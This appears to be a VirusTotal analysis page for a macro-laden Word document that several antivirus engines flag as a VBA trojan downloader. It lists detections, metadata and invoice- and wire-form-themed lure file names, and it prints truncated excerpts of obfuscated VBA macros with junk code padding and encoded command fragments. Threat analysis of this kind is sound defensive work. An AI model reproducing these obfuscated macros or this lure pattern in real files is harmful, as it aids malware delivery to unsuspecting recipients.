Antivirus scan for 43769e6d4d82640ead9685d91231f7dcbbd1417915b2ffe720f0712a4da74fa5 at 2018-03-28 17:58:08 UTC

Antivirus	Result	Update
Arcabit	HEUR.VBA.Trojan.e	20180328
Baidu	VBA.Trojan-Downloader.Agent.cpw	20180328
Fortinet	VBA/Agent.HHV!tr	20180328
Sophos AV	Troj/DocDl-NFS	20180328
Symantec	Trojan.Gen.NPE.2	20180328
ZoneAlarm by Check Point	UDS:DangerousObject.Multi.Generic	20180328
Zoner	Probably W97Obfuscated	20180327
Ad-Aware		20180328
AegisLab		20180328
AhnLab-V3		20180328
Alibaba		20180328
ALYac		20180328
Antiy-AVL		20180328
Avast		20180328
Avast-Mobile		20180328
AVG		20180328
Avira (no cloud)		20180328
AVware		20180328
BitDefender		20180328
Bkav		20180328
CAT-QuickHeal		20180328
ClamAV		20180328
CMC		20180328
Comodo		20180328
CrowdStrike Falcon (ML)		20170201
Cybereason		20180225
Cylance		20180328
Cyren		20180328
DrWeb		20180328
eGambit		20180328
Emsisoft		20180328
Endgame		20180316
ESET-NOD32		20180328
F-Prot		20180328
F-Secure		20180328
GData		20180328
Ikarus		20180328
Sophos ML		20180121
Jiangmin		20180328
K7AntiVirus		20180328
K7GW		20180328
Kaspersky		20180328
Kingsoft		20180328
Malwarebytes		20180328
MAX		20180328
McAfee		20180328
McAfee-GW-Edition		20180328
Microsoft		20180328
eScan		20180328
NANO-Antivirus		20180328
nProtect		20180328
Palo Alto Networks (Known Signatures)		20180328
Panda		20180328
Qihoo-360		20180328
Rising		20180328
SentinelOne (Static ML)		20180225
SUPERAntiSpyware		20180328
Symantec Mobile Insight		20180311
Tencent		20180328
TheHacker		20180327
TrendMicro		20180328
TrendMicro-HouseCall		20180328
Trustlook		20180328
VBA32		20180328
VIPRE		20180328
ViRobot		20180328
WhiteArmor		20180324
Yandex		20180328
Zillya		20180328

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

May create OLE objects.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-03-28 18:02:00

author

Vudikeqy

title

Vudikeqy

page_count

last_saved

2018-03-28 18:02:00

revision_number

application_name

Microsoft Office Word

character_count

template

Normal.dotm

code_page

Latin I

subject

Vudikeqy

Document summary

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/FwiilJzF

[+] Macros/VBA/MzqJYbKjjoM

[+] Macros/VBA/SaSNlYPF

[+] Macros/VBA/YOjzitz

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/bSMrqOM

[+] Macros/VBA/dir

[+] WordDocument

Macros and VBA code streams

[+] bSMrqOM.bas Macros/VBA/bSMrqOM 32343 bytes

Function UYKBBqdB()
On Error Resume Next
Select Case uwbSq
      Case 35231
         FUwoBA = CStr(Njuzp + CStr(4508) - CdmzVa * 67569)
      Case 17081
         lzNLni = qDVisd
         IIwdjS = Tan(21845 * GrLrSo)
End Select
TIAANduGdOI = kIaQj("LOfPuiQBmAGQAZAA3ADIAYQij", 7, 17)
Select Case VrDws
      Case 21389
         npajzD = CStr(TXDZoi + CStr(83125) - wCqQv * 83402)
      Case 42503
         vLzXid = vkiSVI
         zUHwm = Tan(38652 * SiKbw)
End Select
Select Case JitzN
      Case 79913
         whcDpw = CStr(oWUkH + CStr(82641) - mAfzY * 9304)
      Case 75661
         iSklFk = DDcXuc
         uPqzTd = Tan(46070 * ttqBW)
End Select
mphXUaiIvYz = kIaQj("SSrJDUAOQA5AGIAOQBhADUAMAAyADQAMAAyAGQANQAwADIAYwBiAGYANABhAGEANQBjADgANAA3AGMANvO", 5, 75)
Select Case NBokCI
      Case 5466
         SEroD = CStr(QHjwh + CStr(22174) - QHZkJ * 36060)
      Case 52673
         quDNH = ComrUY
         wlIfaF = Tan(74425 * KuTLWz)
End Select
Select Case vzBEjP
      Case 39814
         LdikP = CStr(dtnCKC + CStr(46258) - QjSuT * 48588)
      Case 7420
         Xidfbz = FsXcdw
         tbTTPQ = Tan(36330 * fUaijV)
End Select
YZifaqmUTua = kIaQj("PkADEAMQA0AGIANwBmADAAYQA5A6DzdJr", 2, 26)
Select Case owvOdF
      Case 92660
         kJdAi = CStr(nZuSq + CStr(73826) - bzJnPr * 5875)
      Case 17329
         zSWTD = hPVUzU
         KlQkVr = Tan(91023 * MqjuMw)
End Select
Select Case Pkzpqw
      Case 70476
         IfKWU = CStr(tBWXj + CStr(67572) - OWnvX * 86207)
      Case 93199
         zzGJaE = YiQST
         jCZkGZ = Tan(93131 * uKQIQB)
End Select
ZVbGBQui = kIaQj("7ANQA5ADYAMwAxADADwZJ5", 2, 16)
Select Case LtTDo
      Case 52880
         hDMuE = CStr(dsHOPz + CStr(60368) - OLQTA * 88127)
      Case 5590
         qBJCvN = zOfzXU
         XLUMK = Tan(3916 * BtTVu)
End Select
Select Case adhPpG
      Case 84480
         zVSFLF = CStr(uqTHRj + CStr(18357) - zjtndj * 33013)
      Case 77946
         XTVTD = IARmDZ
         joASb = Tan(2487 * kGBRw)
End Select
FlhZMcsCD = kI [... continues ...]

[+] SaSNlYPF.bas Macros/VBA/SaSNlYPF 21845 bytes

create-ole obfuscated run-file

Function LokbVVw()
On Error Resume Next
Select Case FpEFpZ
      Case 82120
         aTbtsB = CStr(cwjnIz + CStr(61600) - wAaaMz * 73405)
      Case 82762
         KBGbh = twBwSU
         rNYwK = Tan(40904 * WbwYEH)
End Select
IMNZoPbtlRZ = kIaQj("NJfOrlI@VDtm2", 3, 4)
Select Case Owido
      Case 55405
         iruXu = CStr(qpHBO + CStr(30348) - JMCPnQ * 31650)
      Case 76106
         EhXZti = WUdsoI
         dYQUj = Tan(63499 * vKoRv)
End Select
Select Case cBfrqs
      Case 11663
         TbjJP = CStr(swRsEP + CStr(59385) - KdAnYE * 47189)
      Case 12201
         EmDGOu = ZCGOD
         sWIDmv = Tan(99854 * EUIrr)
End Select
SwEwwrLi = kIaQj("s1@QTDJfVpfW&&set %wvDLI9", 8, 16)
Select Case rDTBk
      Case 24997
         iWLaiB = CStr(SCJQhS + CStr(71890) - iVSdGP * 99259)
      Case 34800
         OXthWi = dqANA
         cItHBC = Tan(22773 * KYQOYz)
End Select
Select Case hDdIzD
      Case 15018
         wzjsk = CStr(HhzzcI + CStr(1385) - QIsHDG * 2135)
      Case 51144
         OLDCma = ZEHUz
         XQtJr = Tan(1379 * Rcmojm)
End Select
nKjwLa = kIaQj("2c&&set %NvY6DBuzP", 2, 11)
Select Case PqzAM
      Case 45395
         VhhfV = CStr(jZYAj + CStr(96237) - kcNuP * 763)
      Case 81558
         lYPSz = AiEGH
         ICiMdV = Tan(89078 * rEmHl)
End Select
Select Case iaSPT
      Case 8999
         tLPjz = CStr(ZQSWUb + CStr(20990) - oAVQCm * 68590)
      Case 85570
         EOPUE = clZZnz
         iWFdjP = Tan(79864 * wLJtp)
End Select
pqqwHmjm = kIaQj("N70!&&set %zIpJFHYk", 4, 11)
Select Case wzQSQB
      Case 87373
         ShYVb = CStr(luCWht + CStr(43607) - LZCTCL * 11164)
      Case 5737
         bOPfl = GXwBS
         XEOoz = Tan(39998 * JmLvD)
End Select
Select Case ZnYrF
      Case 83613
         hDOWj = CStr(jpPMfv + CStr(88713) - IDdIT * 75922)
      Case 47929
         bMRwH = niIzJ
         uOjUU = Tan(78720 * tYnzHa)
End Select
zSrmviIjO = kIaQj("%thOUsqZTDwjtQC%=biYsfR%", 7, 15)
Select Case RjvilD
      Case 77623
         bBEkY = CStr(BkEhl [... continues ...]

[+] MzqJYbKjjoM.bas Macros/VBA/MzqJYbKjjoM 6465 bytes

obfuscated

Function RnCuQHojBfjYau()
On Error Resume Next
Select Case JSjow
      Case 93928
         SdYjTh = CStr(BmQGVT + CStr(46830) - lGGna * 20987)
      Case 28798
         AUARl = WlvIsP
         twtXoM = Tan(57238 * rFifv)
End Select
IMNZoPbtlRZ = kIaQj("NJ     /V         I@VDtm2", 3, 16)
Select Case aiIWiD
      Case 30210
         OSQvC = CStr(iKMbI + CStr(31632) - JMPlwl * 2173)
      Case 17829
         SlpSw = nlNLi
         ibHtJ = Tan(26518 * jsHXip)
End Select
Select Case NOtKj
      Case 5664
         cLTFR = CStr(OKrzKF + CStr(83492) - YWFmJu * 35671)
      Case 14807
         jpNXi = vZDrb
         kRWYf = Tan(61052 * vsSVoF)
End Select
SwEwwrLi = kIaQj("s1@QTDJjv &    I9", 8, 8)
Select Case rnYXIw
      Case 40699
         nPDPfF = CStr(ZHOQfo + CStr(8506) - OiOVMW * 27781)
      Case 39141
         StMIB = iizoiH
         PArzS = Tan(19935 * YZBnE)
End Select
Select Case vAfCJ
      Case 41746
         OCpLba = CStr(IFtul + CStr(56345) - PTfaM * 86573)
      Case 69571
         wRuML = fRtLww
         AFIJG = Tan(63913 * iBphmt)
End Select
nKjwLa = kIaQj("2 %zkKjZaczkKjZaozkKjZamzkKjZaSzkKjZapzkKjZaEzkKjZaczkKjZa%  6DBuzP", 2, 20)
Select Case jAbwcB
      Case 24700
         XQOOY = CStr(nAimhv + CStr(29002) - WRGLC * 45633)
      Case 90799
         NZSDwR = OWuCu
         surIEq = Tan(1802 * uFzQS)
End Select
Select Case pRTQXL
      Case 53576
         oAQruo = CStr(wrsFR + CStr(22326) - jUDam * 83877)
      Case 83587
         aYJqK = Iwiwp
         vVKrEt = Tan(11817 * TAaUjk)
End Select
pqqwHmjm = kIaQj("N70/c  JFHYk", 4, 4)
Select Case zMzZkq
      Case 43094
         shDdz = CStr(vNIcTI + CStr(27287) - MWsls * 97305)
      Case 51291
         oHZnJj = XEBZvR
         AQHKY = Tan(74310 * sQcTp)
End Select
Select Case RNhVWm
      Case 32710
         iBNhz = CStr(sESXlB + CStr(76145) - nEmGTz * 9703)
      Case 7955
         khlDl = jZKom
         OjdQVM = Tan(4996 * nqYHf)
End Select
zSrmviIjO = kIaQj("%thOUsjRbdjWfR%", 7, 6)
Select Case djQTRL
    [... continues ...]

[+] YOjzitz.bas Macros/VBA/YOjzitz 452 bytes

ExifTool file metadata

File identification

MD5 d04c7326d3a9f7079bd931362624012b

SHA1 ec9e16a11b973d2df43b1feff54f69759a494f8f

SHA256 43769e6d4d82640ead9685d91231f7dcbbd1417915b2ffe720f0712a4da74fa5

ssdeep

6144:79IC/nqBw6QCnTlLMqFPTyaANLjsD3TFwfxTFdIL:pIC8w6RnNMqFOfNLju3TF+IL

File size 270.0 KB ( 276480 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Vudikeqy, Subject: Vudikeqy, Author: Vudikeqy, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Mar 27 17:02:00 2018, Last Saved Time/Date: Tue Mar 27 17:02:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-03-28 17:19:05 UTC ( 11 months ago )

Last submission 2018-08-09 00:23:09 UTC ( 6 months, 2 weeks ago )

File names

INV-XOCT-6397940689.doc
ACH-FORM-KIUF-38295250173.doc
INV-UWN-930177147.doc
INV-RLC-9259215.doc
INVOICE-OPVG-15439086751859.doc
INV-AVM-925631798.doc
INV-SQ-93369273530240.doc
INVOICE-BWNH-290801355827674.doc
INVOICE-PZG-0398713.doc
INV-YXJ-6497895.doc
INVOICE-AB-8674162913523.doc
WIRE-FORM-GAYW-4169315293.doc
WIRE-FORM-DECF-58238361772.doc
INVOICE-YM-19543507862998.doc
INVOICE-AJH-354263544459.doc
INVOICE-ECC-19160612.doc
INV-UH-67333810521769.doc
INV-CU-939975443182006.doc
INVOICE-HX-33238259.doc
INVOICE-RAAD-85935507552087.doc
ACH-FORM-MEMX-7340733.doc
INVOICE-NNN-78807749581.doc
ACH-FORM-DQ-8612128.doc
WIRE-FORM-GBZJ-1037099.doc
output.113050636.txt

SHA256:	43769e6d4d82640ead9685d91231f7dcbbd1417915b2ffe720f0712a4da74fa5
File name:	INV-AVM-925631798.doc
Detection ratio:	7 / 58
Analysis date:	2018-03-28 17:58:08 UTC ( 11 months ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in